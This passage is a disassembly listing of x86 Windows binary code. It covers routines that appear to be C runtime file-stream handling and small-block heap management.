sub_414E26+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call loc_419AC4 add esp, 1Ch test eax, eax jnz short loc_414E92 leave retn ; --------------------------------------------------------------------------- loc_414E92: ; CODE XREF: sub_414E26+68j movzx eax, word ptr [ebp+arg_0+2] loc_414E96: ; CODE XREF: sub_414E26+1Cj and eax, [ebp+arg_4] leave retn sub_414E26 endp ; =============== S U B R O U T I N E ======================================= sub_414E9B proc near ; CODE XREF: sub_412540+2Ap ; sub_419E27+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_463FE0 jnb loc_414F35 mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:463EE0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_414F35 push edi call sub_419D93 cmp eax, 0FFFFFFFFh pop ecx jz short loc_414F14 cmp edi, 1 jz short loc_414EE2 cmp edi, 2 jnz short loc_414EF8 loc_414EE2: ; CODE XREF: sub_414E9B+40j push 2 call sub_419D93 push 1 mov ebp, eax call sub_419D93 pop ecx cmp eax, ebp pop ecx jz short loc_414F14 loc_414EF8: ; CODE XREF: sub_414E9B+45j push edi call sub_419D93 pop ecx push eax call dword_41D074 ; CloseHandle test eax, eax jnz short loc_414F14 call dword_41D06C ; RtlGetLastWin32Error mov ebp, eax jmp short loc_414F16 ; --------------------------------------------------------------------------- loc_414F14: ; CODE XREF: sub_414E9B+3Bj ; sub_414E9B+5Bj ... xor ebp, ebp loc_414F16: ; CODE XREF: sub_414E9B+77j push edi call sub_419D19 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_414F31 push ebp call sub_418CFA pop ecx jmp short loc_414F46 ; --------------------------------------------------------------------------- loc_414F31: ; CODE XREF: sub_414E9B+8Bj xor eax, eax jmp short loc_414F49 ; --------------------------------------------------------------------------- loc_414F35: ; CODE XREF: sub_414E9B+Ej ; sub_414E9B+2Fj and dword_462BC8, 0 mov dword_462BC4, 9 loc_414F46: ; CODE XREF: sub_414E9B+94j or eax, 0FFFFFFFFh loc_414F49: ; CODE XREF: sub_414E9B+98j pop edi pop esi pop ebp pop ebx retn sub_414E9B endp ; =============== S U B R O U T I N E ======================================= sub_414F4E proc near ; CODE XREF: sub_412540+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_414F77 test al, 8 jz short loc_414F77 push dword ptr [esi+8] call sub_412813 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_414F77: ; CODE XREF: sub_414F4E+Aj ; sub_414F4E+Ej pop esi retn sub_414F4E endp ; =============== S U B R O U T I N E ======================================= sub_414F79 proc near ; CODE XREF: sub_415019+2Dp ; sub_415019+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_414F8B push esi call sub_415019 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_414F8B: ; CODE XREF: sub_414F79+7j push esi call sub_414FB4 test eax, eax pop ecx jz short loc_414F9B or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_414F9B: ; CODE XREF: sub_414F79+1Bj test byte ptr [esi+0Dh], 40h jz short loc_414FB0 push dword ptr [esi+10h] call sub_419DD0 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_414FB0: ; CODE XREF: sub_414F79+26j xor eax, eax pop esi retn sub_414F79 endp ; =============== S U B R O U T I N E ======================================= sub_414FB4 proc near ; CODE XREF: sub_412540+1Ap ; sub_41380E+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_415001 test ax, 108h jz short loc_415001 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_415001 push edi push eax push dword ptr [esi+10h] call sub_41978C add esp, 0Ch cmp eax, edi jnz short loc_414FFA mov eax, [esi+0Ch] test al, 80h jz short loc_415001 and al, 0FDh mov [esi+0Ch], eax jmp short loc_415001 ; --------------------------------------------------------------------------- loc_414FFA: ; CODE XREF: sub_414FB4+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_415001: ; CODE XREF: sub_414FB4+14j ; sub_414FB4+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_414FB4 endp ; =============== S U B R O U T I N E ======================================= sub_415010 proc near ; CODE XREF: sub_419A48p push 1 call sub_415019 pop ecx retn sub_415010 endp ; =============== S U B R O U T I N E ======================================= sub_415019 proc near ; CODE XREF: sub_414F79+Ap ; sub_415010+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_463EC0, esi jle short loc_415077 loc_41502A: ; CODE XREF: sub_415019+5Cj mov eax, dword_462EB0 mov eax, [eax+esi*4] test eax, eax jz short loc_41506E mov ecx, [eax+0Ch] test cl, 83h jz short loc_41506E cmp [esp+0Ch+arg_0], 1 jnz short loc_415054 push eax call sub_414F79 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41506E inc ebx jmp short loc_41506E ; --------------------------------------------------------------------------- loc_415054: ; CODE XREF: sub_415019+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41506E test cl, 2 jz short loc_41506E push eax call sub_414F79 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41506E or edi, eax loc_41506E: ; CODE XREF: sub_415019+1Bj ; sub_415019+23j ... inc esi cmp esi, dword_463EC0 jl short loc_41502A loc_415077: ; CODE XREF: sub_415019+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_415082 mov eax, edi loc_415082: ; CODE XREF: sub_415019+65j pop edi pop esi pop ebx retn sub_415019 endp ; =============== S U B R O U T I N E ======================================= sub_415086 proc near ; CODE XREF: sub_412596+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_41997D test eax, eax pop ecx jz short loc_41510F cmp esi, offset dword_431BC8 jnz short loc_4150A4 xor eax, eax jmp short loc_4150AF ; --------------------------------------------------------------------------- loc_4150A4: ; CODE XREF: sub_415086+18j cmp esi, offset dword_431BE8 jnz short loc_41510F push 1 pop eax loc_4150AF: ; CODE XREF: sub_415086+1Cj inc dword_462D84 test word ptr [esi+0Ch], 10Ch jnz short loc_41510F cmp dword_462C1C[eax*4], 0 push ebx push edi lea edi, ds:462C1Ch[eax*4] mov ebx, 1000h jnz short loc_4150F5 push ebx call sub_41279F test eax, eax pop ecx mov [edi], eax jnz short loc_4150F5 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_415102 ; --------------------------------------------------------------------------- loc_4150F5: ; CODE XREF: sub_415086+4Dj ; sub_415086+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_415102: ; CODE XREF: sub_415086+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_41510F: ; CODE XREF: sub_415086+10j ; sub_415086+24j ... xor eax, eax pop esi retn sub_415086 endp ; =============== S U B R O U T I N E ======================================= sub_415113 proc near ; CODE XREF: sub_412596+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_41513D mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_41514E push esi call sub_414FB4 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41513D: ; CODE XREF: sub_415113+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_41514E push eax call sub_414FB4 pop ecx loc_41514E: ; CODE XREF: sub_415113+10j ; sub_415113+32j pop esi retn sub_415113 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415150 proc near ; CODE XREF: sub_4125C8+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_462D8C push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_415189 cmp al, 72h jz short loc_415182 cmp al, 77h jnz loc_41529D mov ecx, 301h jmp short loc_41518E ; --------------------------------------------------------------------------- loc_415182: ; CODE XREF: sub_415150+21j xor ecx, ecx or esi, 1 jmp short loc_415191 ; --------------------------------------------------------------------------- loc_415189: ; CODE XREF: sub_415150+1Dj mov ecx, 109h loc_41518E: ; CODE XREF: sub_415150+30j or esi, 2 loc_415191: ; CODE XREF: sub_415150+37j push 1 pop edx loc_415194: ; CODE XREF: sub_415150+8Bj ; sub_415150+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_415283 cmp edx, ebx jz loc_415283 movsx eax, al cmp eax, 54h jg short loc_415222 jz short loc_415212 sub eax, 2Bh jz short loc_4151FC sub eax, 19h jz short loc_4151F2 sub eax, 0Eh jz short loc_4151DD dec eax jnz loc_415274 cmp [ebp+var_4], ebx jnz loc_415274 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_415194 ; --------------------------------------------------------------------------- loc_4151DD: ; CODE XREF: sub_415150+6Fj cmp [ebp+var_4], ebx jnz loc_415274 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_415194 ; --------------------------------------------------------------------------- loc_4151F2: ; CODE XREF: sub_415150+6Aj test cl, 40h jnz short loc_415274 or ecx, 40h jmp short loc_415194 ; --------------------------------------------------------------------------- loc_4151FC: ; CODE XREF: sub_415150+65j test cl, 2 jnz short loc_415274 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_415194 ; --------------------------------------------------------------------------- loc_415212: ; CODE XREF: sub_415150+60j mov eax, 1000h test ecx, eax jnz short loc_415274 or ecx, eax jmp loc_415194 ; --------------------------------------------------------------------------- loc_415222: ; CODE XREF: sub_415150+5Ej sub eax, 62h jz short loc_41526F dec eax jz short loc_415258 sub eax, 0Bh jz short loc_415241 sub eax, 6 jnz short loc_415274 test ch, 0C0h jnz short loc_415274 or ch, 40h jmp loc_415194 ; --------------------------------------------------------------------------- loc_415241: ; CODE XREF: sub_415150+DDj cmp [ebp+var_8], ebx jnz short loc_415274 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_415194 ; --------------------------------------------------------------------------- loc_415258: ; CODE XREF: sub_415150+D8j cmp [ebp+var_8], ebx jnz short loc_415274 mov [ebp+var_8], 1 or esi, 4000h jmp loc_415194 ; --------------------------------------------------------------------------- loc_41526F: ; CODE XREF: sub_415150+D5j test ch, 0C0h jz short loc_41527B loc_415274: ; CODE XREF: sub_415150+72j ; sub_415150+7Bj ... xor edx, edx jmp loc_415194 ; --------------------------------------------------------------------------- loc_41527B: ; CODE XREF: sub_415150+122j or ch, 80h jmp loc_415194 ; --------------------------------------------------------------------------- loc_415283: ; CODE XREF: sub_415150+4Aj ; sub_415150+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_419E27 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_4152A1 loc_41529D: ; CODE XREF: sub_415150+25j xor eax, eax jmp short loc_4152BB ; --------------------------------------------------------------------------- loc_4152A1: ; CODE XREF: sub_415150+14Bj mov eax, [ebp+arg_C] inc dword_462D84 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_4152BB: ; CODE XREF: sub_415150+14Fj pop edi pop esi pop ebx leave retn sub_415150 endp ; =============== S U B R O U T I N E ======================================= sub_4152C0 proc near ; CODE XREF: sub_4125C8p mov edx, dword_463EC0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_415331 mov ebx, dword_462EB0 mov edi, ebx loc_4152DC: ; CODE XREF: sub_4152C0+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_4152F7 test byte ptr [ecx+0Ch], 83h jz short loc_4152F2 inc eax add edi, 4 cmp eax, edx jl short loc_4152DC jmp short loc_415331 ; --------------------------------------------------------------------------- loc_4152F2: ; CODE XREF: sub_4152C0+26j mov esi, [ebx+eax*4] jmp short loc_41531B ; --------------------------------------------------------------------------- loc_4152F7: ; CODE XREF: sub_4152C0+20j mov edi, eax push 20h shl edi, 2 call sub_41279F pop ecx mov ecx, dword_462EB0 mov [edi+ecx], eax mov eax, dword_462EB0 mov edi, [edi+eax] cmp edi, ebp jz short loc_415331 mov esi, edi loc_41531B: ; CODE XREF: sub_4152C0+35j cmp esi, ebp jz short loc_415331 or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_415331: ; CODE XREF: sub_4152C0+12j ; sub_4152C0+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_4152C0 endp ; =============== S U B R O U T I N E ======================================= sub_415338 proc near ; CODE XREF: sub_4127B1+1Fp ; sub_413D8F+106p ... arg_0 = dword ptr 4 mov eax, dword_462C28 test eax, eax jz short loc_415350 push [esp+arg_0] call eax ; dword_462C28 test eax, eax pop ecx jz short loc_415350 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_415350: ; CODE XREF: sub_415338+7j ; sub_415338+12j xor eax, eax retn sub_415338 endp ; =============== S U B R O U T I N E ======================================= sub_415353 proc near ; CODE XREF: .nsp0:00414422p arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call dword_41D16C ; HeapCreate test eax, eax mov dword_464220, eax jz short loc_415388 call sub_41538F test eax, eax jnz short loc_41538B push dword_464220 call dword_41D168 ; HeapDestroy loc_415388: ; CODE XREF: sub_415353+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_41538B: ; CODE XREF: sub_415353+27j push 1 pop eax retn sub_415353 endp ; =============== S U B R O U T I N E ======================================= sub_41538F proc near ; CODE XREF: sub_415353+20p push 140h push 0 push dword_464220 call dword_41D144 ; RtlAllocateHeap test eax, eax mov dword_46421C, eax jnz short loc_4153AC retn ; --------------------------------------------------------------------------- loc_4153AC: ; CODE XREF: sub_41538F+1Aj and dword_464214, 0 and dword_464218, 0 push 1 mov dword_464210, eax mov dword_464208, 10h pop eax retn sub_41538F endp ; =============== S U B R O U T I N E ======================================= sub_4153CD proc near ; CODE XREF: sub_412813+Ap ; sub_413D8F+3Dp ... arg_0 = dword ptr 4 mov eax, dword_464218 lea ecx, [eax+eax*4] mov eax, dword_46421C lea ecx, [eax+ecx*4] loc_4153DD: ; CODE XREF: sub_4153CD+26j cmp eax, ecx jnb short loc_4153F5 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_4153F7 add eax, 14h jmp short loc_4153DD ; --------------------------------------------------------------------------- loc_4153F5: ; CODE XREF: sub_4153CD+12j xor eax, eax locret_4153F7: ; CODE XREF: sub_4153CD+21j retn sub_4153CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153F8 proc near ; CODE XREF: sub_412813+16p ; sub_413D8F+89p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] push ebx push esi mov eax, [ecx+10h] mov esi, edx sub esi, [ecx+0Ch] mov ebx, [edx-4] add edx, 0FFFFFFFCh push edi shr esi, 0Fh mov ecx, esi mov edi, [edx-4] imul ecx, 204h dec ebx mov [ebp+var_4], edi lea ecx, [ecx+eax+144h] mov [ebp+var_C], ebx mov [ebp+var_10], ecx mov ecx, [ebx+edx] test cl, 1 mov [ebp+var_8], ecx jnz short loc_4154BE sar ecx, 4 push 3Fh dec ecx pop edi mov [ebp+arg_4], ecx cmp ecx, edi jbe short loc_415450 mov [ebp+arg_4], edi loc_415450: ; CODE XREF: sub_4153F8+53j mov ecx, [ebx+edx+4] cmp ecx, [ebx+edx+8] jnz short loc_4154A2 mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_41547E mov edi, 80000000h shr edi, cl lea ecx, [ecx+eax+4] not edi and [eax+esi*4+44h], edi dec byte ptr [ecx] jnz short loc_4154A2 mov ecx, [ebp+arg_0] and [ecx], edi jmp short loc_4154A2 ; --------------------------------------------------------------------------- loc_41547E: ; CODE XREF: sub_4153F8+68j add ecx, 0FFFFFFE0h mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edi and [eax+esi*4+0C4h], edi dec byte ptr [ecx] jnz short loc_4154A2 mov ecx, [ebp+arg_0] and [ecx+4], edi loc_4154A2: ; CODE XREF: sub_4153F8+60j ; sub_4153F8+7Dj ... mov ecx, [ebx+edx+8] mov edi, [ebx+edx+4] mov [ecx+4], edi mov ecx, [ebx+edx+4] mov edi, [ebx+edx+8] add ebx, [ebp+var_8] mov [ecx+8], edi mov [ebp+var_C], ebx loc_4154BE: ; CODE XREF: sub_4153F8+45j mov edi, ebx sar edi, 4 dec edi cmp edi, 3Fh jbe short loc_4154CC push 3Fh pop edi loc_4154CC: ; CODE XREF: sub_4153F8+CFj mov ecx, [ebp+var_4] and ecx, 1 mov [ebp+var_14], ecx jnz loc_41557B sub edx, [ebp+var_4] mov ecx, [ebp+var_4] sar ecx, 4 push 3Fh mov [ebp+var_8], edx dec ecx pop edx cmp ecx, edx mov [ebp+arg_4], ecx jbe short loc_4154F7 mov [ebp+arg_4], edx mov ecx, edx loc_4154F7: ; CODE XREF: sub_4153F8+F8j add ebx, [ebp+var_4] mov edi, ebx mov [ebp+var_C], ebx sar edi, 4 dec edi cmp edi, edx jbe short loc_415509 mov edi, edx loc_415509: ; CODE XREF: sub_4153F8+10Dj cmp ecx, edi jz short loc_415578 mov ecx, [ebp+var_8] mov edx, [ecx+4] cmp edx, [ecx+8] jnz short loc_415560 mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_41553C mov edx, 80000000h shr edx, cl lea ecx, [ecx+eax+4] not edx and [eax+esi*4+44h], edx dec byte ptr [ecx] jnz short loc_415560 mov ecx, [ebp+arg_0] and [ecx], edx jmp short loc_415560 ; --------------------------------------------------------------------------- loc_41553C: ; CODE XREF: sub_4153F8+126j add ecx, 0FFFFFFE0h mov edx, 80000000h shr edx, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edx and [eax+esi*4+0C4h], edx dec byte ptr [ecx] jnz short loc_415560 mov ecx, [ebp+arg_0] and [ecx+4], edx loc_415560: ; CODE XREF: sub_4153F8+11Ej ; sub_4153F8+13Bj ... mov ecx, [ebp+var_8] mov edx, [ecx+8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_8] mov edx, [ecx+4] mov ecx, [ecx+8] mov [edx+8], ecx loc_415578: ; CODE XREF: sub_4153F8+113j mov edx, [ebp+var_8] loc_41557B: ; CODE XREF: sub_4153F8+DDj cmp [ebp+var_14], 0 jnz short loc_41558A cmp [ebp+arg_4], edi jz loc_415613 loc_41558A: ; CODE XREF: sub_4153F8+187j mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_415613 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edi+eax+4], cl jnb short loc_4155E7 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4155D6 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_4155D6: ; CODE XREF: sub_4153F8+1CEj mov ebx, 80000000h mov ecx, edi shr ebx, cl lea eax, [eax+esi*4+44h] or [eax], ebx jmp short loc_415610 ; --------------------------------------------------------------------------- loc_4155E7: ; CODE XREF: sub_4153F8+1C8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4155FD lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_4155FD: ; CODE XREF: sub_4153F8+1F3j lea ecx, [edi-20h] mov edi, 80000000h shr edi, cl lea eax, [eax+esi*4+0C4h] or [eax], edi loc_415610: ; CODE XREF: sub_4153F8+1EDj mov ebx, [ebp+var_C] loc_415613: ; CODE XREF: sub_4153F8+18Cj ; sub_4153F8+1B6j mov eax, [ebp+var_10] mov [edx], ebx mov [ebx+edx-4], ebx dec dword ptr [eax] jnz loc_41571E mov eax, dword_464214 test eax, eax jz loc_415710 mov ecx, dword_46420C mov edi, dword_41D170 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call edi ; dword_41D170 mov ecx, dword_46420C mov eax, dword_464214 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_464214 mov ecx, dword_46420C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_464214 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_464214 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41569E and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_464214 loc_41569E: ; CODE XREF: sub_4153F8+29Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_415710 push ebx push 0 push dword ptr [eax+0Ch] call edi ; dword_41D170 mov eax, dword_464214 push dword ptr [eax+10h] push 0 push dword_464220 call dword_41D148 ; RtlFreeHeap mov eax, dword_464218 mov edx, dword_46421C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_464214 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_412E60 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_464218 cmp eax, dword_464214 jbe short loc_415702 sub eax, 14h loc_415702: ; CODE XREF: sub_4153F8+305j mov ecx, dword_46421C mov dword_464210, ecx jmp short loc_415713 ; --------------------------------------------------------------------------- loc_415710: ; CODE XREF: sub_4153F8+233j ; sub_4153F8+2AAj mov eax, [ebp+arg_0] loc_415713: ; CODE XREF: sub_4153F8+316j mov dword_464214, eax mov dword_46420C, esi loc_41571E: ; CODE XREF: sub_4153F8+226j pop edi pop esi pop ebx leave retn sub_4153F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415723 proc near ; CODE XREF: sub_4127DD+Ep ; sub_413D8F+69p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_464218 mov edx, dword_46421C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_415763 or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_415773 ; --------------------------------------------------------------------------- loc_415763: ; CODE XREF: sub_415723+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_415773: ; CODE XREF: sub_415723+3Ej mov eax, dword_464210 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41579A loc_415781: ; CODE XREF: sub_415723+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41579A add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_415781 loc_41579A: ; CODE XREF: sub_415723+5Cj ; sub_415723+6Aj cmp ebx, [ebp+var_4] jnz short loc_415818 mov ebx, edx loc_4157A1: ; CODE XREF: sub_415723+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_4157BD mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_4157BB add ebx, 14h jmp short loc_4157A1 ; --------------------------------------------------------------------------- loc_4157BB: ; CODE XREF: sub_415723+91j cmp ebx, eax loc_4157BD: ; CODE XREF: sub_415723+83j jnz short loc_415818 loc_4157BF: ; CODE XREF: sub_415723+ADj cmp ebx, [ebp+var_4] jnb short loc_4157D5 cmp dword ptr [ebx+8], 0 jnz short loc_4157D2 add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_4157BF ; --------------------------------------------------------------------------- loc_4157D2: ; CODE XREF: sub_415723+A5j cmp ebx, [ebp+var_4] loc_4157D5: ; CODE XREF: sub_415723+9Fj jnz short loc_4157FD mov ebx, edx loc_4157D9: ; CODE XREF: sub_415723+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_4157ED cmp dword ptr [ebx+8], 0 jnz short loc_4157EB add ebx, 14h jmp short loc_4157D9 ; --------------------------------------------------------------------------- loc_4157EB: ; CODE XREF: sub_415723+C1j cmp ebx, eax loc_4157ED: ; CODE XREF: sub_415723+BBj jnz short loc_4157FD call sub_415A2C mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_415811 loc_4157FD: ; CODE XREF: sub_415723:loc_4157D5j ; sub_415723:loc_4157EDj push ebx call sub_415ADD pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_415818 loc_415811: ; CODE XREF: sub_415723+D8j xor eax, eax jmp loc_415A27 ; --------------------------------------------------------------------------- loc_415818: ; CODE XREF: sub_415723+7Aj ; sub_415723:loc_4157BDj ... mov dword_464210, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41583F mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_415876 loc_41583F: ; CODE XREF: sub_415723+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_415873 loc_41585C: ; CODE XREF: sub_415723+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41585C loc_415873: ; CODE XREF: sub_415723+137j mov edx, [ebp+var_4] loc_415876: ; CODE XREF: sub_415723+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41589F mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41589F: ; CODE XREF: sub_415723+16Dj ; sub_415723+183j test ecx, ecx jl short loc_4158A8 shl ecx, 1 inc edi jmp short loc_41589F ; --------------------------------------------------------------------------- loc_4158A8: ; CODE XREF: sub_415723+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_4158C5 push 3Fh pop esi loc_4158C5: ; CODE XREF: sub_415723+19Dj cmp esi, edi jz loc_4159DA mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_415936 cmp edi, 20h jge short loc_415905 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_415933 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_415936 ; --------------------------------------------------------------------------- loc_415905: ; CODE XREF: sub_415723+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_415933 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_415936 ; --------------------------------------------------------------------------- loc_415933: ; CODE XREF: sub_415723+1D6j ; sub_415723+203j mov ebx, [ebp+arg_0] loc_415936: ; CODE XREF: sub_415723+1B0j ; sub_415723+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_4159E6 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov 